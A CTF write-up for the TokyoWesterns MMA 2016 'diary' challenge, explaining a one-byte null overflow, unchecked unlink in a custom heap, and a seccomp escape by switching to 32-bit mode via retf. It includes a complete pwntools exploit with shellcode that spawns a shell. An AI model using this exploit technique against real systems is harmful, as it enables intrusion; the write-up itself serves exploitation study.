TokyoWestern MMA 2016 PWN Diary Write-up

Introduction

This post is partially based on [1] and [2]. In this challenge, it involves a customized memory management and seccomp escape.

Vulnerability Analysis

The vulnerability is easy to locate. There exists an one-byte-off-null vulnerability in getnline function. The difficult part is the exploit developement.

Exploit Plan

Control Flow Hijacking

The exploit development can be divided into two parts: Control Flow Hijacking and Seccomp Escape. Let us discuss them step by step.
Since the challenge implements a customized heap management, let me introduce the heap management system first.
The there are three important data structures in this challenge.

struct date {
    int year;
    char month;
    char day;
}

struct data_node {
    date d;
    char *buf;
    data_node *prev;
    data_node *next;
}

struct chunk_header {
    long size;
    chunk_header *fd;
    chunk_header *bk;
}

The heap in this challenge is maintained via struct chunk. The operations on the chunk is a simplified version of ptmalloc. Similar to ptmalloc, it also uses the the last bit of size to denote if the previous adjacent chunk is in use or not. And the free list of the chunks is maintained in the size order.
Allocation: During the process of allocation, it first goes through the free list to search for freed chunk of suitable size. If such a chunk is found, unlink the chunk from the free list first, extract the chunk of requested size and insert the remaining chunk into the free list. If such a chunk is not found, extract the chunk of requested size from the top chunk.

Free: During the process of freeing a memory, it will also check if the in_use bit of next adjacent chunk is set. It will continue the freeing process only if the bit is set. Next it will check if the status of the previous adjacent chunk is in use, if not, it will unlink the previous chunk from the free list , merge the current chunk with previous adjacent chunk and set the merged chunk as current chunk. Then it will check if the status of the next adjacent chunk is in use, if not, it will unlink the next adjacent chunk from the free list, merge the current chunk will next adjacent chunk and set the merged chunk as current chunk. Finally, put the current chunk into the free list

The unlinking process is given below:

unlink(chunk_header *p)
{
     p->bk->fd = p->fd;
     p->fd->bk = p->bk
}

Since there is no integrity check on the unlinking procedure, we can no doubt use such operation to corrupt memory and hijack control flow.

Seccomp Escape

The previous part is still a routine exploit. The unusual part is what we have to do after hijacking control flow. This part is based on the conclusion given in [1]. In future, I may add more possible solutions for this challenge.

There is a seccomp filter set in this challenge. With the help of seccomp tools, we can see the rules are given below:

$ seccomp-tools dump ./diary 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0007
 0006: 0x06 0x00 0x00 0x00000000  return KILL
 0007: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0009
 0008: 0x06 0x00 0x00 0x00000000  return KILL
 0009: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0011
 0010: 0x06 0x00 0x00 0x00000000  return KILL
 0011: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0013
 0012: 0x06 0x00 0x00 0x00000000  return KILL
 0013: 0x15 0x00 0x01 0x00000055  if (A != creat) goto 0015
 0014: 0x06 0x00 0x00 0x00000000  return KILL
 0015: 0x15 0x00 0x01 0x00000142  if (A != execveat) goto 0017
 0016: 0x06 0x00 0x00 0x00000000  return KILL
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW

We can observe that the syscall execve and open is forbidden in this challenge. So we cannot directly use simple shellcode to get a shell. According to the solution in [1], we can use retf instruction to change the execution mode from 64-bit to 32-bit and executes the shellcode under 32-bit mode to escape seccomp.

In this challenge, it prepares a 32-bit bash in its local directory. Attacker only needs to execute execve(“./bash”) to get the shell. To emulate the same situation, I download the source code of bash, build a 32-bit bash on my machine and create a symbolic link to the bash binary in my local directory.

After getting the shell, we are still unable to read the flag directly with simple commands. We need to use some walk-arounds to get the content of flag.

Exploit

from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("1.2.3.4", 23333);
elif(DEBUG == 1):
    r = process("./diary");
elif(DEBUG == 2):
    r = process("./diary");
    gdb.attach(r, '''source ./script''');

def register(year, month, day, size, payload):
    r.recvuntil(">>");
    r.sendline("1");
    r.recvuntil("...");
    date = "%d/%d/%d" % (year, month, day)
    r.sendline(date);
    r.recvuntil("...");
    r.sendline(str(size));
    r.recvuntil(">> ");
    r.send(payload);

def overwrite_register(year, month, day, size, payload):
    r.recvuntil(">>");
    r.sendline("1");
    r.recvuntil("...");
    date = "%d/%d/%d" % (year, month, day)
    r.sendline(date);
    r.recvuntil("...");
    r.sendline(str(size));
    r.recvuntil(">> ");
    r.sendline(payload);

def show(year, month, day):
    r.recvuntil(">>");
    r.sendline("2");
    r.recvuntil("...");
    date = "%d/%d/%d" % (year, month, day);
    r.sendline(date);

def delete(year, month, day):
    r.recvuntil(">>");
    r.sendline("3");
    r.recvuntil("...");
    date = "%d/%d/%d" % (year, month, day);
    r.sendline(date);

def exploit():
    register(1970, 4, 23, 0x20, "A"*0x8 + "B"*8 + "C"*8 + "D"*7 );
    register(1970, 4, 24, 0x20, "B"*0x1f );
    delete(1970, 4, 23);
    delete(1970, 4, 24);

    register(1970, 4, 25, 0x40, "\xeb\x7f" + "D"*(0x30-2));
    show(1970,4,25);
    r.recvuntil("D"*0x2e);
    leak = r.recv(6);
    leakedValue = u64(leak + "\x00\x00");
    log.info("Leaked Value: 0x%x" % leakedValue);
    heapAddr = leakedValue - 0x80;
    log.info("Heap Value: 0x%x" % heapAddr);

    shellcode = ('''xor rax, rax
                    mov al, 9
                    inc al
                    mov rdi, 0x602000
                    mov rsi, 0x1000
                    mov rdx, 7
                    syscall
                            
                    mov rax, 0
                    xor rdi, rdi
                    mov rsi, 0x602190
                    mov rdx, 28
                    syscall

                    xor rsp, rsp
                    mov esp, 0x602160
                    mov DWORD PTR [esp+4], 0x23
                    mov DWORD PTR [esp], 0x602190
                    retf
                    ''') ;
    payload = "\x90"*0x60;
    payload += asm(shellcode, os='linux', arch='amd64');
    payload = payload.ljust(0x100, '\x90');

    register(1970, 4, 26, 0x100, payload);


    payload = p64(heapAddr + 0x30) + p64(0x602090 - 8) + "E"*0x10;
    overwrite_register(1970, 4, 27, 0x20, payload);
    overwrite_register(1970, 4, 28, 0x20, "F"*0x20);

    delete(1970, 4, 27);


    r.recvuntil(">>");
    r.sendline("0");

    r.sendline(asm(shellcraft.i386.linux.execve('./bash'), arch='x86') + "\x80");
    r.interactive();

    halt();

exploit();

Reference

[1] http://uaf.io/exploitation/2016/09/06/TokyoWesterns-MMA-Diary.html
[2] https://david942j.blogspot.tw/2016/09/write-up-tokyo-westernsmma-ctf-2nd-2016.html

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.